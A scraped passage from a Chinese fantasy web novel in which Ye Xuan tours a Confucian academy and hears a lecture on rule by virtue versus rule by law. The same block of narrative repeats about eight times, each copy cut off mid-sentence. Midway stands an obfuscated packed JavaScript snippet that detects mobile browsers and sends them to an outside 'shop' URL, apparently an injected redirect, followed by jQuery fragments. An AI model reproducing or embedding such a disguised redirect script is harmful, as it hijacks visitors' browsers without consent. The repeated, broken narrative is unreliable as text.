“你们知道回来的路吗？”


    叶轩又不放心地问了一句：“这里可不小，别一不小心迷路了，还得麻烦青檀姑娘去找你.”


    “主人放心！”炫彩说道：“我和真真会记路的，我们的方向感很好，到时候会带二小姐回来的。”


    白真真也点了点头。


    炫彩与白真真是妖族。


    原本妖族与儒道的读书人在以往的一段时间内有过不小的冲突，又彼此有着惨烈的杀伐。


    儒道的浩然正气，天然克制妖族的妖力也是从这段时间的杀伐之中展现出来的。


    后来儒道魁首因为理念的不同，分成了天涯书院与碧落书院。


    天涯书院与妖族之间的关系相对缓和。


    天涯书院的先贤还娶过涂山狐族，也有不少的儒生与妖族有着婚恋往来，但碧落书院的儒士对于妖族的态度要严酷的多。


    只是，即便是相对缓和的天涯书院，妖族直接进入到书院之内也不是非常妥当的事情。


    要不是李青檀本身就是补天阁的圣女。


    在补天阁与天涯书院都是位高权重，寻常儒生学子，甚至是先生还真不敢随意地将炫彩与白真真这两个妖族带进来。


    另外还有一个原因，就是炫彩与白真真的血脉之力已经纯净到了极致。


    乃是传说中的圣兽、神兽。


    在她们身上已经没有了所谓的妖气，有的只有龙气与凰息，那是能够与儒道浩然正气比肩的阳正之气。


    不会被寻常的儒生与先生注意到。


    引起不必要的麻烦。


    在厉萱萱等人离开之后，叶轩也走出了院落。


    之前李青檀说的“时候不早了”，其实也还好，大约也就是前世下午的三点多的时间，叶轩一路逛下来看到了不少新奇的事情。


    例如一个儒生偷懒。


    仰在椅子上睡觉，身前有一杆毛笔能够自己在纸上书写文章，却不料不“先生”给抓了一个正着。


    原来是这个家伙年末的时候考核勉强过关。


    教他书法的先生感觉脸上挂不住，就特意让其抄写练习，没想到他用一件儒道的法宝自行书写。


    叶轩不知道的是，这一类的儒道法宝，能够在儒士作战之时协助他们快速完成作画与书写来具象化文道的力量。


    却被这家伙用来应付罚抄，也是一个人才。


    最终的结果是被他的先生拿着戒尺抽了一路。


    又有一处观景台上，有一女子儒生在作画，在其砚台里面


    ，有一只小小的，颜色好似墨汁的小乌龟探出了脑袋。


    在觉察到叶轩的目光后，又怯生生地缩回了砚台之中。


    他注意到。


    女子作画之时完全不需要研墨，也不需要颜料，这小小的乌龟就能够依照她的心意与需求变幻墨水的颜色


    随后，他又进了一个课堂。


    也没有人管他。


    叶轩就随便找了一个角落坐了下来。


    这一堂课倒是没有什么神奇的事情，与叶轩想象的古代的课堂、研学有着类似的情景，那位老先生在讲一个论题：


    善恶之辨。


    治国、治世应该依照人性本善的德治，还是人性为恶的法治


    叶轩也听得入神。


    此类的辩论在前世大夏的数千年以来争论也一直不断，没有一个定论，这课堂上，老先生的引导，更偏向于德治。


    这也是天涯书院的理念。


    他能在这里执教自然也是更加认可“人性善论”与“德治”的，否则就加入碧落书院了。


    只不过，他也没有全盘否定“法治”。


    而是认为应该在“德治”的基础上设置“法治”，以德行高、学识高的饱学之士对其余人进行正确的引导。


    说白了就是以感化为主，但也最低程度上设置了严厉的“法”，对于无可救药之人实行最大的惩戒。


    依照前世的经验来看，这位老先生的理念听上去有些太过理想化了。


    但实际上。


    在这个玄幻的世界上是有实行的基础的，在这个世界上是以强者为尊，这不仅仅是说只在一个强者的个体实力这一单一的事实上。


    是这个强者在他的追随者的眼中，他的个人魅力会被无限的放大。


    形成一种组织内的崇拜。


    他的个人品格与道德准则都会成为某种准绳，无形之中约束着组织中的人，违背之人会自然承受巨大的压力从而被这个组织主动或者被动排斥出去。


    但是相对的，“恶”与“法治”也是如此。


    强者的遵循以法令规束麾下组织的准则，也会是立竿见影


    “善”与“恶”孰为人之本？


    “德治”与“法治”.不管在哪个世界都没有那么容易分出胜负。


    对于这些。


    叶轩前世也有一些自己的看法。


    在这一世的玄幻世界，特别是这一段时间经历过这么多离奇的事情之后也有了新的理解。


    与这位老先生的理念却是不怎么相同


    ，有一只小小的，颜色好似墨汁的小乌龟探出了脑袋。


    在觉察到叶轩的目光后，又怯生生地缩回了砚台之中。


    他注意到。


    女子作画之时完全不需要研墨，也不需要颜料，这小小的乌龟就能够依照她的心意与需求变幻墨水的颜色


    随后，他又进了一个课堂。


    也没有人管他。


    叶轩就随便找了一个角落坐了下来。


    这一堂课倒是没有什么神奇的事情，与叶轩想象的古代的课堂、研学有着类似的情景，那位老先生在讲一个论题：


    善恶之辨。


    治国、治世应该依照人性本善的德治，还是人性为恶的法治


    叶轩也听得入神。


    此类的辩论在前世大夏的数千年以来争论也一直不断，没有一个定论，这课堂上，老先生的引导，更偏向于德治。


    这也是天涯书院的理念。


    他能在这里执教自然也是更加认可“人性善论”与“德治”的，否则就加入碧落书院了。


    只不过，他也没有全盘否定“法治”。


    而是认为应该在“德治”的基础上设置“法治”，以德行高、学识高的饱学之士对其余人进行正确的引导。


    说白了就是以感化为主，但也最低程度上设置了严厉的“法”，对于无可救药之人实行最大的惩戒。


    依照前世的经验来看，这位老先生的理念听上去有些太过理想化了。


    但实际上。


    在这个玄幻的世界上是有实行的基础的，在这个世界上是以强者为尊，这不仅仅是说只在一个强者的个体实力这一单一的事实上。


    是这个强者在他的追随者的眼中，他的个人魅力会被无限的放大。


    形成一种组织内的崇拜。


    他的个人品格与道德准则都会成为某种准绳，无形之中约束着组织中的人，违背之人会自然承受巨大的压力从而被这个组织主动或者被动排斥出去。


    但是相对的，“恶”与“法治”也是如此。


    强者的遵循以法令规束麾下组织的准则，也会是立竿见影


    “善”与“恶”孰为人之本？


    “德治”与“法治”.不管在哪个世界都没有那么容易分出胜负。


    对于这些。


    叶轩前世也有一些自己的看法。


    在这一世的玄幻世界，特别是这一段时间经历过这么多离奇的事情之后也有了新的理解。


    与这位老先生的理念却是不怎么相同


    ，有一只小小的，颜色好似墨汁的小乌龟探出了脑袋。


    在觉察到叶轩的目光后，又怯生生地缩回了砚台之中。


    他注意到。


    女子作画之时完全不需要研墨，也不需要颜料，这小小的乌龟就能够依照她的心意与需求变幻墨水的颜色


    随后，他又进了一个课堂。


    也没有人管他。


    叶轩就随便找了一个角落坐了下来。


    这一堂课倒是没有什么神奇的事情，与叶轩想象的古代的课堂、研学有着类似的情景，那位老先生在讲一个论题：


    善恶之辨。


    治国、治世应该依照人性本善的德治，还是人性为恶的法治


    叶轩也听得入神。


    此类的辩论在前世大夏的数千年以来争论也一直不断，没有一个定论，这课堂上，老先生的引导，更偏向于德治。


    这也是天涯书院的理念。


    他能在这里执教自然也是更加认可“人性善论”与“德治”的，否则就加入碧落书院了。


    只不过，他也没有全盘否定“法治”。


    而是认为应该在“德治”的基础上设置“法治”，以德行高、学识高的饱学之士对其余人进行正确的引导。


    说白了就是以感化为主，但也最低程度上设置了严厉的“法”，对于无可救药之人实行最大的惩戒。


    依照前世的经验来看，这位老先生的理念听上去有些太过理想化了。


    但实际上。


    在这个玄幻的世界上是有实行的基础的，在这个世界上是以强者为尊，这不仅仅是说只在一个强者的个体实力这一单一的事实上。


    是这个强者在他的追随者的眼中，他的个人魅力会被无限的放大。


    形成一种组织内的崇拜。


    他的个人品格与道德准则都会成为某种准绳，无形之中约束着组织中的人，违背之人会自然承受巨大的压力从而被这个组织主动或者被动排斥出去。


    但是相对的，“恶”与“法治”也是如此。


    强者的遵循以法令规束麾下组织的准则，也会是立竿见影


    “善”与“恶”孰为人之本？


    “德治”与“法治”.不管在哪个世界都没有那么容易分出胜负。


    对于这些。


    叶轩前世也有一些自己的看法。


    在这一世的玄幻世界，特别是这一段时间经历过这么多离奇的事情之后也有了新的理解。


    与这位老先生的理念却是不怎么相同


    ，有一只小小的，颜色好似墨汁的小乌龟探出了脑袋。


    在觉察到叶轩的目光后，又怯生生地缩回了砚台之中。


    他注意到。


    女子作画之时完全不需要研墨，也不需要颜料，这小小的乌龟就能够依照她的心意与需求变幻墨水的颜色


    随后，他又进了一个课堂。


    也没有人管他。


    叶轩就随便找了一个角落坐了下来。


    这一堂课倒是没有什么神奇的事情，与叶轩想象的古代的课堂、研学有着类似的情景，那位老先生在讲一个论题：


    善恶之辨。


    治国、治世应该依照人性本善的德治，还是人性为恶的法治


    叶轩也听得入神。


    此类的辩论在前世大夏的数千年以来争论也一直不断，没有一个定论，这课堂上，老先生的引导，更偏向于德治。


    这也是天涯书院的理念。


    他能在这里执教自然也是更加认可“人性善论”与“德治”的，否则就加入碧落书院了。


    只不过，他也没有全盘否定“法治”。


    而是认为应该在“德治”的基础上设置“法治”，以德行高、学识高的饱学之士对其余人进行正确的引导。


    说白了就是以感化为主，但也最低程度上设置了严厉的“法”，对于无可救药之人实行最大的惩戒。


    依照前世的经验来看，这位老先生的理念听上去有些太过理想化了。


    但实际上。


    在这个玄幻的世界上是有实行的基础的，在这个世界上是以强者为尊，这不仅仅是说只在一个强者的个体实力这一单一的事实上。


    是这个强者在他的追随者的眼中，他的个人魅力会被无限的放大。


    形成一种组织内的崇拜。


    他的个人品格与道德准则都会成为某种准绳，无形之中约束着组织中的人，违背之人会自然承受巨大的压力从而被这个组织主动或者被动排斥出去。


    但是相对的，“恶”与“法治”也是如此。


    强者的遵循以法令规束麾下组织的准则，也会是立竿见影


    “善”与“恶”孰为人之本？


    “德治”与“法治”.不管在哪个世界都没有那么容易分出胜负。


    对于这些。


    叶轩前世也有一些自己的看法。


    在这一世的玄幻世界，特别是这一段时间经历过这么多离奇的事情之后也有了新的理解。


    与这位老先生的理念却是不怎么相同


    ，有一只小小的，颜色好似墨汁的小乌龟探出了脑袋。


    在觉察到叶轩的目光后，又怯生生地缩回了砚台之中。


    他注意到。


    女子作画之时完全不需要研墨，也不需要颜料，这小小的乌龟就能够依照她的心意与需求变幻墨水的颜色


    随后，他又进了一个课堂。


    也没有人管他。


    叶轩就随便找了一个角落坐了下来。


    这一堂课倒是没有什么神奇的事情，与叶轩想象的古代的课堂、研学有着类似的情景，那位老先生在讲一个论题：


    善恶之辨。


    治国、治世应该依照人性本善的德治，还是人性为恶的法治


    叶轩也听得入神。


    此类的辩论在前世大夏的数千年以来争论也一直不断，没有一个定论，这课堂上，老先生的引导，更偏向于德治。


    这也是天涯书院的理念。


    他能在这里执教自然也是更加认可“人性善论”与“德治”的，否则就加入碧落书院了。


    只不过，他也没有全盘否定“法治”。


    而是认为应该在“德治”的基础上设置“法治”，以德行高、学识高的饱学之士对其余人进行正确的引导。


    说白了就是以感化为主，但也最低程度上设置了严厉的“法”，对于无可救药之人实行最大的惩戒。


    依照前世的经验来看，这位老先生的理念听上去有些太过理想化了。


    但实际上。


    在这个玄幻的世界上是有实行的基础的，在这个世界上是以强者为尊，这不仅仅是说只在一个强者的个体实力这一单一的事实上。


    是这个强者在他的追随者的眼中，他的个人魅力会被无限的放大。


    形成一种组织内的崇拜。


    他的个人品格与道德准则都会成为某种准绳，无形之中约束着组织中的人，违背之人会自然承受巨大的压力从而被这个组织主动或者被动排斥出去。


    但是相对的，“恶”与“法治”也是如此。


    强者的遵循以法令规束麾下组织的准则，也会是立竿见影


    “善”与“恶”孰为人之本？


    “德治”与“法治”.不管在哪个世界都没有那么容易分出胜负。


    对于这些。


    叶轩前世也有一些自己的看法。


    在这一世的玄幻世界，特别是这一段时间经历过这么多离奇的事情之后也有了新的理解。


    与这位老先生的理念却是不怎么相同


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195747|179966||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，有一只小小的，颜色好似墨汁的小乌龟探出了脑袋。


    在觉察到叶轩的目光后，又怯生生地缩回了砚台之中。


    他注意到。


    女子作画之时完全不需要研墨，也不需要颜料，这小小的乌龟就能够依照她的心意与需求变幻墨水的颜色


    随后，他又进了一个课堂。


    也没有人管他。


    叶轩就随便找了一个角落坐了下来。


    这一堂课倒是没有什么神奇的事情，与叶轩想象的古代的课堂、研学有着类似的情景，那位老先生在讲一个论题：


    善恶之辨。


    治国、治世应该依照人性本善的德治，还是人性为恶的法治


    叶轩也听得入神。


    此类的辩论在前世大夏的数千年以来争论也一直不断，没有一个定论，这课堂上，老先生的引导，更偏向于德治。


    这也是天涯书院的理念。


    他能在这里执教自然也是更加认可“人性善论”与“德治”的，否则就加入碧落书院了。


    只不过，他也没有全盘否定“法治”。


    而是认为应该在“德治”的基础上设置“法治”，以德行高、学识高的饱学之士对其余人进行正确的引导。


    说白了就是以感化为主，但也最低程度上设置了严厉的“法”，对于无可救药之人实行最大的惩戒。


    依照前世的经验来看，这位老先生的理念听上去有些太过理想化了。


    但实际上。


    在这个玄幻的世界上是有实行的基础的，在这个世界上是以强者为尊，这不仅仅是说只在一个强者的个体实力这一单一的事实上。


    是这个强者在他的追随者的眼中，他的个人魅力会被无限的放大。


    形成一种组织内的崇拜。


    他的个人品格与道德准则都会成为某种准绳，无形之中约束着组织中的人，违背之人会自然承受巨大的压力从而被这个组织主动或者被动排斥出去。


    但是相对的，“恶”与“法治”也是如此。


    强者的遵循以法令规束麾下组织的准则，也会是立竿见影


    “善”与“恶”孰为人之本？


    “德治”与“法治”.不管在哪个世界都没有那么容易分出胜负。


    对于这些。


    叶轩前世也有一些自己的看法。


    在这一世的玄幻世界，特别是这一段时间经历过这么多离奇的事情之后也有了新的理解。


    与这位老先生的理念却是不怎么相同


    ，有一只小小的，颜色好似墨汁的小乌龟探出了脑袋。


    在觉察到叶轩的目光后，又怯生生地缩回了砚台之中。


    他注意到。


    女子作画之时完全不需要研墨，也不需要颜料，这小小的乌龟就能够依照她的心意与需求变幻墨水的颜色


    随后，他又进了一个课堂。


    也没有人管他。


    叶轩就随便找了一个角落坐了下来。


    这一堂课倒是没有什么神奇的事情，与叶轩想象的古代的课堂、研学有着类似的情景，那位老先生在讲一个论题：


    善恶之辨。


    治国、治世应该依照人性本善的德治，还是人性为恶的法治


    叶轩也听得入神。


    此类的辩论在前世大夏的数千年以来争论也一直不断，没有一个定论，这课堂上，老先生的引导，更偏向于德治。


    这也是天涯书院的理念。


    他能在这里执教自然也是更加认可“人性善论”与“德治”的，否则就加入碧落书院了。


    只不过，他也没有全盘否定“法治”。


    而是认为应该在“德治”的基础上设置“法治”，以德行高、学识高的饱学之士对其余人进行正确的引导。


    说白了就是以感化为主，但也最低程度上设置了严厉的“法”，对于无可救药之人实行最大的惩戒。


    依照前世的经验来看，这位老先生的理念听上去有些太过理想化了。


    但实际上。


    在这个玄幻的世界上是有实行的基础的，在这个世界上是以强者为尊，这不仅仅是说只在一个强者的个体实力这一单一的事实上。


    是这个强者在他的追随者的眼中，他的个人魅力会被无限的放大。


    形成一种组织内的崇拜。


    他的个人品格与道德准则都会成为某种准绳，无形之中约束着组织中的人，违背之人会自然承受巨大的压力从而被这个组织主动或者被动排斥出去。


    但是相对的，“恶”与“法治”也是如此。


    强者的遵循以法令规束麾下组织的准则，也会是立竿见影


    “善”与“恶”孰为人之本？


    “德治”与“法治”.不管在哪个世界都没有那么容易分出胜负。


    对于这些。


    叶轩前世也有一些自己的看法。


    在这一世的玄幻世界，特别是这一段时间经历过这么多离奇的事情之后也有了新的理解。


    与这位老先生的理念却是不怎么相同


    ，有一只小小的，颜色好似墨汁的小乌龟探出了脑袋。


    在觉察到叶轩的目光后，又怯生生地缩回了砚台之中。


    他注意到。


    女子作画之时完全不需要研墨，也不需要颜料，这小小的乌龟就能够依照她的心意与需求变幻墨水的颜色


    随后，他又进了一个课堂。


    也没有人管他。


    叶轩就随便找了一个角落坐了下来。


    这一堂课倒是没有什么神奇的事情，与叶轩想象的古代的课堂、研学有着类似的情景，那位老先生在讲一个论题：


    善恶之辨。


    治国、治世应该依照人性本善的德治，还是人性为恶的法治


    叶轩也听得入神。


    此类的辩论在前世大夏的数千年以来争论也一直不断，没有一个定论，这课堂上，老先生的引导，更偏向于德治。


    这也是天涯书院的理念。


    他能在这里执教自然也是更加认可“人性善论”与“德治”的，否则就加入碧落书院了。


    只不过，他也没有全盘否定“法治”。


    而是认为应该在“德治”的基础上设置“法治”，以德行高、学识高的饱学之士对其余人进行正确的引导。


    说白了就是以感化为主，但也最低程度上设置了严厉的“法”，对于无可救药之人实行最大的惩戒。


    依照前世的经验来看，这位老先生的理念听上去有些太过理想化了。


    但实际上。


    在这个玄幻的世界上是有实行的基础的，在这个世界上是以强者为尊，这不仅仅是说只在一个强者的个体实力这一单一的事实上。


    是这个强者在他的追随者的眼中，他的个人魅力会被无限的放大。


    形成一种组织内的崇拜。


    他的个人品格与道德准则都会成为某种准绳，无形之中约束着组织中的人，违背之人会自然承受巨大的压力从而被这个组织主动或者被动排斥出去。


    但是相对的，“恶”与“法治”也是如此。


    强者的遵循以法令规束麾下组织的准则，也会是立竿见影


    “善”与“恶”孰为人之本？


    “德治”与“法治”.不管在哪个世界都没有那么容易分出胜负。


    对于这些。


    叶轩前世也有一些自己的看法。


    在这一世的玄幻世界，特别是这一段时间经历过这么多离奇的事情之后也有了新的理解。


    与这位老先生的理念却是不怎么相同